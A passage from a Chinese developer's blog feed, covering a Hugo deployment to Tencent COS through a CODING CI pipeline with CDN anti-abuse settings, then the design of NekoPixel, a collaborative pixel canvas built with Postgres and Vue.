style="color:#ff7b72;font-weight:bold">:</span> <span style="color:#79c0ff">undefined</span>, </span></span></code></pre></div><p>搞得后面不开<code>accelerate</code> 那就是直接 Domain 为 <code>undefined</code> 然后报错。</p> <p>没办法,鉴于官方的 Actions 质量如此之差,我索性 Fork 改了个自己用:<a href="https://github.com/wuhan005/tencent-cos-action/">wuhan005/tencent-cos-action</a>。然后我惊讶的发现,从 GitHub Actions 的美国节点,即使走 accelerate 加速域名上传文件到位于上海的 COS Bucket,也是 1-2 秒上传一个文件,我每次部署都要上传 1000+ 个文件,直接大半个小时过去了,这个部署上传的时间是我无法接受的。</p> <h3 id="coding">CODING</h3> <p>那我得想办法让 Hugo 在境内的节点进行构建,然后从境内传到 COS Bucket 中。这次,我盯上了腾讯云自己搞的代码托管平台 CODING,本质上就是个啥都有的缝合怪。</p> <p>好在他可以添加外部的 GitHub 仓库,并通过 GitHub OAuth 授权后,在仓库中安装 CODING çš„ GitHub App,配置 WebHook。GitHub 仓库有新的推送后,触发 CODING 的流水线进行构建。经过数次调试后,最终可用的 CODING 流水线文件内容如下:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>pipeline { </span></span><span style="display:flex;"><span> agent any </span></span><span style="display:flex;"><span> stages { </span></span><span style="display:flex;"><span> stage(&#39;检出&#39;) { </span></span><span style="display:flex;"><span> steps { </span></span><span style="display:flex;"><span> checkout([$class: &#39;GitSCM&#39;, </span></span><span style="display:flex;"><span> branches: [[name: GIT_BUILD_REF]], </span></span><span style="display:flex;"><span> userRemoteConfigs: [[ </span></span><span style="display:flex;"><span> url: GIT_REPO_URL, </span></span><span style="display:flex;"><span> credentialsId: CREDENTIALS_ID </span></span><span style="display:flex;"><span> ]]]) </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> stage(&#39;安装 Hugo&#39;) { </span></span><span style="display:flex;"><span> steps { </span></span><span style="display:flex;"><span> sh &#39;apt install snapd&#39; </span></span><span style="display:flex;"><span> sh &#39;snap install hugo dart-sass&#39; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> stage(&#39;构建&#39;) { </span></span><span style="display:flex;"><span> steps { </span></span><span style="display:flex;"><span> sh &#39;hugo --minify&#39; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> stage(&#39;上传到 COS Bucket&#39;) { </span></span><span style="display:flex;"><span> steps { </span></span><span style="display:flex;"><span> sh &#34;coscmd config -a ${COS_SECRET_ID} -s ${COS_SECRET_KEY} -b ${COS_BUCKET_NAME} -r ${COS_BUCKET_REGION}&#34; </span></span><span style="display:flex;"><span> sh &#34;coscmd upload -rfs --delete public/ /&#34; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> stage(&#34;刷新 CDN 缓存&#34;) { </span></span><span style="display:flex;"><span> steps { </span></span><span style="display:flex;"><span> sh &#34;pip install --upgrade tencentcloud-sdk-python&#34; </span></span><span style="display:flex;"><span> sh &#34;python ./dev/refresh-tencent-cdn.py -i ${COS_SECRET_ID} -k ${COS_SECRET_KEY}&#34; </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><p>我在 Hugo 仓库中加了个刷新腾讯云 CDN 缓存的 Python 脚本,上传成功后再执行这个脚本刷新 CDN 缓存。现在完整构建并部署一次的时间大约在 3-4 分钟。</p> <p><img src="https://github.red/images/2024/04/coding-ci.png" alt="coding-ci"></p> <p>勉强能接受吧,要知道在 Cloudflare Pages 上可是 1-2 分钟就能完成,并且还不需要我自己做这个多的配置!!</p> <h2 id="说回-cdn-防盗刷">说回 CDN 防盗刷</h2> <p>费劲周折,我总算是成功的将博客部署到了腾讯云上。</p> <p>之前迁移至 Cloudflare 的原因是我七牛云和阿里云都因为 CDN 被盗刷,导致一夜之间账单欠了 ï¿¥600+。我也不知道互联网上为什么会有这么多干着这些损人不利己的蠢事的人。</p> <p>因此在迁移之前,我十分谨慎地调研过腾讯云的 CDN 防盗刷功能,最后的结论是发现他们做得居然还不错,可以说是已经相当尽力了。在 COS 对象存储的「安全管理」菜单下,居然有一个「盗刷风险监测」功能!从各个维度评估了是否有盗刷风险,真的让人眼前一亮!建议阿里云赶紧跟进下。</p> <p><img src="https://github.red/images/2024/04/tencent-cos-security-detection.png" alt="tencent-cos-security-detection"></p> <p>我总结了下,具体是这几个方面的配置,以及我自己的配置值。</p> <table> <thead> <tr> <th style="text-align: center">所属产品</th> <th style="text-align: center">配置项</th> <th style="text-align: center">备注</th> </tr> </thead> <tbody> <tr> <td style="text-align: center">对象存储 COS</td> <td style="text-align: center">存储桶权限</td> <td style="text-align: center">配置为<code>私有读写</code>,授权 CDN 子用户访问,其余公网请求全部 ban 掉</td> </tr> <tr> <td style="text-align: center">内容分发网络 CDN</td> <td style="text-align: center">防盗链配置</td> <td style="text-align: center">配置白名单 Referer(治标不治本,CC攻击加个头就行)</td> </tr> <tr> <td style="text-align: center">内容分发网络 CDN</td> <td style="text-align: center">IP访问限频配置</td> <td style="text-align: center">10QPS(单个 IP 限制,有一定效果)</td> </tr> <tr> <td style="text-align: center">内容分发网络 CDN</td> <td style="text-align: center">下行限速配置</td> <td style="text-align: center">全部内容,限速 1024KB/s(这个值我感觉还可以再低,防止被刷流量)</td> </tr> <tr> <td style="text-align: center">内容分发网络 CDN</td> <td style="text-align: center">用量封顶配置</td> <td style="text-align: center">流量每五分钟瞬时用量超过 2GB、HTTPS 请求数每五分钟超过 100 万次、当天 24 点前累计流量超过 10GB。(触发后会直接停掉 CDN 服务,防止一觉醒来账单爆炸)</td> </tr> </tbody> </table> <p>以上配置是否能真的防住 CC 攻击,还得看腾讯云的用量封顶配置多久生效。虽然官方说是 10 分钟左右,这个时间我觉得还是有些长,万一对面 10 分钟打出了 1 TB 流量呢?但同时腾讯云官方又给出了一种通过定时 Serverless 函数,请求腾讯云 API 检测 CDN 用量,超过用量后使用 API 关闭 CDN 服务的方法。由于是自建 Serverless 定时函数,时间周期可以设的更短,这个后续我可以尝试下。</p> <h2 id="最后说几句">最后说几句</h2> <p>后续我可能会把阿里云集群上的业务也迁到腾讯云上来。</p> <p>最近一个多月以来自己得睡眠质量不是很好,总是忧心忡忡。好在现在都已尘埃落定,我如愿拿到了腾讯的 Offer,自己这波“金三银四”还算顺利。这过程中的怀疑、悔恨、不甘,现在回想起来也都不重要了。</p> <p>站在人生的又一个起点,我还依旧觉得没什么实感。对于后面匆匆收拾东西,搬去上海,我也不确定自己是否准备好了。但我可以肯定的是,自己已经跳出了原来的舒适圈,面前的是另一个更舒适的舒适圈还是更艰难的挑战,这还尚不可知。</p> <p><img src="https://github.red/images/2024/04/tencent-offer-accepted.png" alt="tencent-offer-accepted"></p>NekoPixel —— 一起来画像素画吧!https://github.red/neko-pixel/Sat, 24 Feb 2024 21:22:46 +0800https://github.red/neko-pixel/<blockquote> <p>文章封面使用 DALL·E 3 生成</p> </blockquote> <p>NekoBox 自从 2020 年初上线以来,至今磕磕绊绊运行了四年。一开始我只是将其当做一个 CRUD 的练手项目,做完后丢到线上就没管了。谁知在 2022 年开始,这个小站不知什么原因,突然迎来了大量的注册用户,同时还有几个粘性很强的用户,个人主页上有上百条提问。(也是这两三个重度用户,页面改版前每天会跑掉我 3-4 块钱的 CDN 流量)</p> <p>我感叹自己又一次无心插柳柳成荫,于 2022 年底又写了很多新功能,功能包括数据导出、注销账号、防骚扰、内容安全、内部 BI 面板等等。就在我看着一切都将往好的方向发展时,去年二月被炸弹人搞了一波,这事之后再慢慢聊。从那之后 NekoBox 关站了几个月,后面数据全部迁移到境外,使用新的域名重新恢复了。</p> <p>我并没有大张旗鼓地去宣传恢复后的域名,原以为之前的用户就这样流失再也不见了。没曾想有铁粉,一遍遍刷着兔小巢上是否有新的动向,找到了我的新域名。这件事令我挺感动的。如今的 NekoBox 每天还有零零散散的几个新注册账号,和几条新增留言评论,我觉得自己不该一直“躺平摆烂式”管理,得想办法给这个小站加点新的元素。</p> <p>因此,NekoPixel 就诞生了。同 NekoBox 一样,它也是完全开源的:<a href="https://github.com/wuhan005/NekoPixel">https://github.com/wuhan005/NekoPixel</a></p> <h2 id="为什么选择做像素画">为什么选择做像素画?</h2> <p>我一直不想宣传 NekoBox,不想让它被太多人知道或被滥用。究其原因,这是我一个人因为兴趣开发运营的站点,我没有那么多精力去即时响应它发生的问题。当我在兔小巢上收到了新的用户反馈时,我只能等到一个不怎么忙且不怎么困的周末,才能静下心来好好写代码开发。我也在刻意降低 NekoBox 的社交属性。访客只能通过给定的链接看到注册用户的提问箱,没有其它任何热门用户推荐的功能。不同的注册用户之间,只能是在现实中或者其它平台上建立联系,在 NekoBox 中,他们互相不会打扰到对方。</p> <p>既然不方便强调独立个体,那就展现群体的力量!</p> <p>一群人在网络上一起绘制一幅图画,最早好像是从 Reddit 开始的,后面 B站在 2017 年暑假做了个<a href="https://live.bilibili.com/pages/1702/pixel-drawing">夏日绘板</a>的活动,用户每间隔一段冷却时间,可以拥有几个像素点,在一张共享的画布上作画。虽然当时B站还没上市,但用户体量是摆在那的,整场活动下来难免有用脚本捣乱的人。但好在最后效果挺好,可以说是 B站二次元属性最后的余晖了。时至今日,当年的活动页还有人在“缅怀”。我认为日后 B站不太有机会再举办这样的活动了,既赚不到钱,还得在内容安全上加大投入。</p> <p>NekoBox 就很适合做这个,不同兴趣爱好的用户可以画自己喜欢的东西,但前端又不会知道是谁主导绘制的。再加上 NekoBox 的用户本来就不多,大家圈地自萌玩一玩多好。</p> <h2 id="如何实现的">如何实现的?</h2> <p>像素画的前端开发难度远大于后端。我们先从相对简单的后端讲起。</p> <p>通过直接生啃 B站夏日绘板的前端(具体文件在 <code>pixel-drawing.d41b770e4052375671dc.js</code>),我们可以知道这是一个 1280 x 720 的图片。通过魔改的 Vue DevTools,可以直接看到其 Vue data 部分的内容:</p> <p><img src="https://github.red/images/2024/02/bilibili-painting-vue-tools.png" alt="bilibili-painting-vue-tools"></p> <p>在 <code>colorMaps</code> 对象存储的就是页面上调色盘的颜色。<code>colorMaps</code> çš„ Value 是对应颜色的十六进制,Key 则是从 <code>0</code> 开始一直递增到 <code>A</code> <code>B</code> <code>C</code>&hellip; 的索引。那么考虑使用一位的字母或数字作为 Key,我们可以表达 36 种颜色(<code>0</code>-<code>9</code>,<code>A</code>-<code>Z</code>),要是加上特殊符号全角半角,则可以表示更多。</p> <p>在页面的 <code>1.0b2b4b3ccd53641b013c.js</code> 文件中,我们可以看到其返回了很长一串字符串:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>webpackJsonp([<span style="color:#a5d6ff">1</span>],{<span style="color:#a5d6ff">1697</span><span style="color:#ff7b72;font-weight:bold">:</span><span style="color:#ff7b72">function</span>(Q,O,E){ </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;use strict&#34;</span>;<span style="color:#ff7b72">function</span> L(){ </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span><span style="color:#a5d6ff">&#34;MGE9EEEE0000090000001100000000&#34;</span>...<span style="color:#a5d6ff">&#34;111011101&#34;</span> <span style="color:#8b949e;font-style:italic">// 就是这一段几百KBçš„ </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> }Object.defineProperty(O,<span style="color:#a5d6ff">&#34;__esModule&#34;</span>,{value<span style="color:#ff7b72;font-weight:bold">:!</span><span style="color:#a5d6ff">0</span>}),O.getFreeSketchingBitmap<span style="color:#ff7b72;font-weight:bold">=</span>L}}); </span></span></code></pre></div><p>该字符串中的每个字符是一个像素点,其对应的就是上述 <code>colorMaps</code> 中 Key 所指的颜色。前端通过解析该字符串,在 Canvas 中绘制出原本的图片。这种存储方式颇有点 bitmap 的味道。那么对于后端而言,我们只需要想办法能存储,并快速返回这段字符串即可。</p> <h3 id="mongodbpostgres">MongoDB?Postgres!</h3> <p>GitHub 上的开源大多是使用 MongoDB 来存储单个像素点,最后汇集起来返回。但我们这个场景下其实不太需要 NoSQL 的灵活功能,我便决定依旧使用 Postgres 来实现。我在 Postgres 中,创建一张名为 <code>canvas_pixels</code> 的表,共 921600 行(1280*720),用于存储整个画面的<strong>最新</strong>像素。</p> <table> <thead> <tr> <th>字段名</th> <th>类型</th> <th>说明</th> </tr> </thead> <tbody> <tr> <td><code>user_id</code></td> <td>INT</td> <td>最后绘制该像素的用户 ID</td> </tr> <tr> <td><code>x</code></td> <td>INT</td> <td>像素在画布上的 X 值</td> </tr> <tr> <td><code>y</code></td> <td>INT</td> <td>像素在画布上的 Y 值</td> </tr> <tr> <td><code>index</code></td> <td>STRING</td> <td>像素的颜色索引</td> </tr> <tr> <td><code>color</code></td> <td>STRING</td> <td>冗余字段,存储像素的十六进制编码</td> </tr> </tbody> </table> <p>整张表很简单易懂对不对?然后就可以愉快的使用 SQL,现将 <code>x</code> å’Œ <code>y</code> 排序,保证他们在画布上是依次排列出来的,再将 <code>index</code> 颜色索引字符串合并即可,如此简单粗暴的方法, 就可以将上面的字符串生成出来了啦~ 查询用时在 400ms 左右。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-postgresql" data-lang="postgresql"><span style="display:flex;"><span><span style="color:#ff7b72">SELECT</span> </span></span><span style="display:flex;"><span> STRING_AGG(t<span style="color:#a5d6ff">.</span><span style="color:#ff7b72">index</span>, <span style="color:#a5d6ff">&#39;&#39;</span>) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">FROM</span> ( </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">SELECT</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">INDEX</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">FROM</span> </span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">&#34;canvas_pixels&#34;</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">WHERE</span> </span></span><span style="display:flex;"><span> x <span style="color:#ff7b72;font-weight:bold">&gt;=</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72">AND</span> y <span style="color:#ff7b72;font-weight:bold">&gt;=</span> <span style="color:#a5d6ff">0</span> <span style="color:#ff7b72">AND</span> x <span style="color:#ff7b72;font-weight:bold">&lt;=</span> <span style="color:#a5d6ff">1280</span> <span style="color:#ff7b72">AND</span> y <span style="color:#ff7b72;font-weight:bold">&lt;=</span> <span style="color:#a5d6ff">720</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">ORDER</span> <span style="color:#ff7b72">BY</span> </span></span><span style="display:flex;"><span> y, x </span></span><span style="display:flex;"><span>) <span style="color:#ff7b72">AS</span> t </span></span></code></pre></div><p>但只存这张表会有一个问题,新的像素绘制将老的记录给盖掉了,我们没法追踪整张画布上图像随时间的变化。因此还有张 <code>pixels</code> 表来归档存储所有用户的每次像素操作。必要时可以通过 Scan 这张表,做出像 <a href="https://www.bilibili.com/video/av13900223">av13900223</a> 的画板变化动画。</p> <p>当用户绘制一个像素时,我们先往 <code>pixels</code> 插入一条数据,再更新 <code>canvas_pixels</code>,两个操作包在一个事务中即可。当然这里我有意画蛇添足用了 Trigger 触发器来做,也是想实际体验下触发器的使用。下方这段触发器的代码是直接让 ChatGPT 写的,可以看到它创建了一个函数,先从 <code>colors</code> 表中拿到十六进制颜色所对应的索引,然后更新 <code>canvas_pixels</code> 中对应的像素记录。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-postgresql" data-lang="postgresql"><span style="display:flex;"><span><span style="color:#ff7b72">CREATE</span> <span style="color:#ff7b72">OR</span> <span style="color:#ff7b72">REPLACE</span> <span style="color:#ff7b72">FUNCTION</span> public<span style="color:#a5d6ff">.</span>upsert_canvas_pixel() </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">RETURNS</span> <span style="color:#ff7b72">trigger</span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">LANGUAGE</span> plpgsql </span></span><span style="display:flex;"><span><span style="color:#ff7b72">AS</span> <span style="color:#79c0ff">$function$ </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">DECLARE </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> colorIndex TEXT; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">BEGIN </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> SELECT index INTO colorIndex FROM colors WHERE color = NEW.color LIMIT 1; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> IF colorIndex IS NOT NULL THEN </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> UPDATE canvas_pixels </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> SET color = NEW.color, index = colorIndex </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> WHERE x = NEW.x AND y = NEW.y; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> IF NOT FOUND THEN </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> INSERT INTO canvas_pixels(x, y, color, index) </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> VALUES (NEW.x, NEW.y, NEW.color, colorIndex); </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> END IF; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> ELSE </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> RAISE EXCEPTION &#39;Color not found in colors table.&#39;; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> END IF; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff"> RETURN NEW; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">END; </span></span></span><span style="display:flex;"><span><span style="color:#79c0ff">$function$</span> </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">--- 创建触发器 </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span><span style="color:#ff7b72">CREATE</span> <span style="color:#ff7b72">OR</span> <span style="color:#ff7b72">REPLACE</span> <span style="color:#ff7b72">TRIGGER</span> trigger_upsert_canvas_pixel <span style="color:#ff7b72">AFTER</span> <span style="color:#ff7b72">INSERT</span> <span style="color:#ff7b72">ON</span> pixels <span style="color:#ff7b72">FOR</span> <span style="color:#ff7b72">EACH</span> <span style="color:#ff7b72">ROW</span> <span style="color:#ff7b72">EXECUTE</span> <span style="color:#ff7b72">FUNCTION</span> upsert_canvas_pixel (); </span></span></code></pre></div><p>上层的 RESTful API 那就随便糊一糊了,创建像素点的时候往 <code>pixels</code> 插一条记录即可,这里就不再赘述。</p> <h2 id="困难重重的-canvas">困难重重的 Canvas</h2> <p>NekoPixel 最难的部分在前端,更确切地说是在 Canvas。一开始我打算直接裸写 HTML + JavaScript,然后被一堆 <code>EventListener</code>搞得很烦,最后还是决定上 Vue3。</p> <p>先明确一下前端总体的功能:</p> <ul> <li>绘制像素:我们需要将后端返回的字符串转化成十六进制颜色,一个像素一个像素地绘制到 Canvas 上。</li> <li>滚轮缩放:用户滚动鼠标滚轮,可以实现画布的放大缩小。</li> <li>点击拖动:用户在放大画布后,点击画布可随意拖动查看。</li> <li>用户绘制:用户选择颜色后,点击 Canvas,将颜色填充到鼠标所指的像素上。</li> </ul> <h3 id="绘制像素">绘制像素</h3> <p>首先前端请求接口,拿到颜色的字符到十六进制的映射表,然后将后端返回的字符串,一个个字符转换成十六进制颜色数组。然后将颜色绘制上去。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#ff7b72">const</span> imageData <span style="color:#ff7b72;font-weight:bold">=</span> baseContext.value.createImageData(width, height) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> arrayBuffer <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">new</span> ArrayBuffer(imageData.data.length) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> clampedArray <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">new</span> Uint8ClampedArray(arrayBuffer) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">const</span> uint32Array <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#ff7b72">new</span> Uint32Array(arrayBuffer) </span></span><span style="display:flex;"><span><span style="color:#ff7b72">for</span> (<span style="color:#ff7b72">let</span> i <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span>; i <span style="color:#ff7b72;font-weight:bold">&lt;</span> pixels.canvas.length; i<span style="color:#ff7b72;font-weight:bold">++</span>) { </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">const</span> index <span style="color:#ff7b72;font-weight:bold">=</span> pixels.canvas[i] </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">const</span> color <span style="color:#ff7b72;font-weight:bold">=</span> colorMap.get(index) <span style="color:#ff7b72;font-weight:bold">??</span> [<span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>] </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">const</span> pixelValue <span style="color:#ff7b72;font-weight:bold">=</span> (<span style="color:#a5d6ff">255</span> <span style="color:#ff7b72;font-weight:bold">&lt;&lt;</span> <span style="color:#a5d6ff">24</span>) <span style="color:#ff7b72;font-weight:bold">|</span> (color[<span style="color:#a5d6ff">2</span>] <span style="color:#ff7b72;font-weight:bold">&lt;&lt;</span> <span style="color:#a5d6ff">16</span>) <span style="color:#ff7b72;font-weight:bold">|</span> (color[<span style="color:#a5d6ff">1</span>] <span style="color:#ff7b72;font-weight:bold">&lt;&lt;</span> <span style="color:#a5d6ff">8</span>) <span style="color:#ff7b72;font-weight:bold">|</span> color[<span style="color:#a5d6ff">0</span>]; <span style="color:#8b949e;font-style:italic">// 注意: 这里使用的是big-endian </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span> uint32Array[i] <span style="color:#ff7b72;font-weight:bold">=</span> pixelValue; </span></span><span style="display:flex;"><span>} </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>imageData.data.set(clampedArray) </span></span><span style="display:flex;"><span>baseContext.value.putImageData(imageData, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>) </span></span></code></pre></div><p>通过阅读代码,你会发现我们是将像素绘制到了在代码中新建的 <code>baseContext</code> 中,而不是 DOM 上展示的 <code>canvasPixels</code>。这是因为 Canvas 绘制刷新相当于直接将像素盖上去了,我们在后续点击拖动的过程中,看似是在拖动一张大的画布,Canvas 负责展示画布的一部分,其实 Canvas 是在不停地重绘覆盖之前的内容。因此需要有一份完整的备份,页面上的 Canvas 只是从备份中选取指定的部分展示。</p> <p>还有一个小细节是 Canvas çš„ <code>ctx.imageSmoothingEnabled</code> 这个属性,一开始我发现图片绘制到 Canvas 上,放大后整个是糊的,不像 B站一样放大是棱角分明的像素点。问题就出在这个属性上,Canvas 默认将其设置为 <code>True</code>,即开启图像平滑,我们需要设置成 <code>False</code> 才能在 Canvas 放大后显示像素点。</p> <h3 id="滚轮缩放">滚轮缩放</h3> <p>用户在 Canvas 上滑动滚轮,我们需要处理 Canvas çš„ <code>@wheel</code> 事件。首先使用 <code>preventDefault()</code> 来禁用默认的效果,防止整个浏览器页面被放大了。然后通过事件的 <code>deltaY</code> 属性的正负来判断是放大还是缩小,设置缩放比例后,重绘画布。</p> <p>画布的缩放,可以直接用 Canvas Context çš„ <code>scale()</code>方法:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>ctx.scale(ratio.value, ratio.value) </span></span></code></pre></div><p>关于画布刷新函数 <code>refreshCanvas()</code>,ChatGPT 告诉我了超好用的 <code>save()</code> å’Œ <code>restore()</code> 来保存和还原画布状态。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span>ctx.save() </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>ctx.clearRect(<span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>, paintingCanvas.value.width, paintingCanvas.value.height) </span></span><span style="display:flex;"><span>ctx.scale(ratio.value, ratio.value) </span></span><span style="display:flex;"><span>ctx.translate(deltaX.value, deltaY.value) </span></span><span style="display:flex;"><span>ctx.drawImage(baseCanvas.value, <span style="color:#a5d6ff">0</span>, <span style="color:#a5d6ff">0</span>) </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span>ctx.restore() </span></span></code></pre></div><p>当调用 <code>save()</code> 时,Canvas 的当前全部状态将被放入栈中,相当于当下成为了 Canvas 的一个默认状态,在 <code>save()</code> 后的任何修改,都是在这个默认状态之上进行。当我们的改动完成后,使用 <code>restore()</code> 将保存的状态从栈中弹出,恢复状态。</p> <h3 id="点击拖动">点击拖动</h3> <p>点击拖动需要同时处理 <code>@mousedown</code> <code>@mousemove</code> <code>@mouseup</code> 三个事件,分别对应用户操作中的鼠标点击、鼠标移动拖动、鼠标抬起结束拖动。这边使用 <code>isMoving</code> 变量来判断当前鼠标点击,是要拖动还是要画像素点。Canvas Context 中使用 <code>translate()</code> 方法来平移画布,我们根据鼠标拖动事件的增量来计算平移的距离即可:</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span> <span style="color:#8b949e;font-style:italic">// Move canvas with translate. </span></span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic"></span><span style="color:#ff7b72">if</span> (event.buttons <span style="color:#ff7b72;font-weight:bold">===</span> <span style="color:#a5d6ff">1</span>) { </span></span><span style="display:flex;"><span> deltaX.value <span style="color:#ff7b72;font-weight:bold">+=</span> event.movementX <span style="color:#ff7b72;font-weight:bold">/</span> ratio.value </span></span><span style="display:flex;"><span> deltaY.value <span style="color:#ff7b72;font-weight:bold">+=</span> event.movementY <span style="color:#ff7b72;font-weight:bold">/</span> ratio.value </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (deltaX.value <span style="color:#ff7b72;font-weight:bold">&gt;</span> <span style="color:#a5d6ff">0</span>) { </span></span><span style="display:flex;"><span> deltaX.value <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (deltaY.value <span style="color:#ff7b72;font-weight:bold">&gt;</span> <span style="color:#a5d6ff">0</span>) { </span></span><span style="display:flex;"><span> deltaY.value <span style="color:#ff7b72;font-weight:bold">=</span> <span style="color:#a5d6ff">0</span> </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span> </span></span><span style="display:flex;"><span> <span style="color:#ff7b72">if</span> (baseContext.value) { </span></span><span style="display:flex;"><span> refreshCanvas() </span></span><span style="display:flex;"><span> } </span></span><span style="display:flex;"><span>} </span></span></code></pre></div><h3 id="用户绘制">用户绘制</h3> <p>用户绘制即在 <code>@mousedown</code> 的时候,判断 <code>isMoving === false</code> 时,将对应像素点的颜色,填充进上面提到的备份 Canvas <code>baseContext</code> 中,再用 <code>refreshCanvas()</code> 函数刷到页面上的 Canvas 里。最后用户需要手动点击页面上的结束绘制,这时将用户绘制的像素点信息发送到后端接口入库保存。</p> <h2 id="如何引入到现有项目中">如何引入到现有项目中?</h2> <p>以上就是 NekoPixel 的实现原理和关键点,你可以对照开源的代码仔细分析。</p> <p>NekoPixel 是一个由 Vue3 编写的前后端分离的应用,我该如何将其引入到我的前后端不分离的 NekoBox 中呢?我了解到 Vue 支持 UMD (Universal Module Definition) 组件化构建,最终产物是一个 JavaScript 文件,将其内嵌到 NekoBox 页面中,然后设置其 Mount 到指定的 <code>&lt;div&gt;</code> 元素中即可。</p> <p>你可以在 <a href="https://github.com/wuhan005/NekoPixel/blob/master/web/config/vite.config.umd.ts">vite.config.umd.ts</a> 中看到其 VIte 构建配置。构建出来的前端产物将被发布为 NPM 包:<a href="https://www.npmjs.com/package/@e99p1ant/neko-pixel-umd">@e99p1ant/neko-pixel-umd</a>,找个 NPM 镜像源引入其 JavaScript å’Œ CSS 到 NekoBox 中即可使用。日后需要更新,也只用在 NekoBox 的模板中修改下 NPM 的版本号即可,十分方便。</p> <div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">&lt;!-- CSS 样式 --&gt;</span> </span></span><span style="display:flex;"><span>&lt;<span style="color:#7ee787">link</span> rel<span 